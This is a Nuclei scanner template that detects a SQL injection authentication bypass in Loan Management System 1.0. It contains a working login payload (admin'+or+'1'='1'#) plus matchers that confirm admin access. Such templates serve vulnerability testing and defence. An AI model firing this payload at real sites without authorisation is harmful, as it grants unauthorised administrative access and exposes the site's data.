id: loancms-sqli

info:
  name: Loan Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/50402
    - https://packetstormsecurity.com/files/167860/Loan-Management-System-1.0-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
  tags: auth-bypass,cms,packetstorm,edb,loancms,sqli

http:
  - raw:
      - |
        POST /ajax.php?action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3D'1'%23&password={{rand_base(5)}}
      - |
        GET /index.php?page=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'window.start_load'
          - 'Welcome back Admin'
          - 'Loan Management System'
        condition: and

      - type: word
        part: body
        words:
          - 'login-form'
        negative: true
# digest: 4b0a0048304602210080e861a002a870b0cdec58df16390902b0086f06137ba81a774844acceb7b3e9022100cca82b2d25a875f8fd54e9ef8f3ce82ddd38aa94bd35c1a735024e4de7abf89e:922c64590222798bb761d5b6d8e72950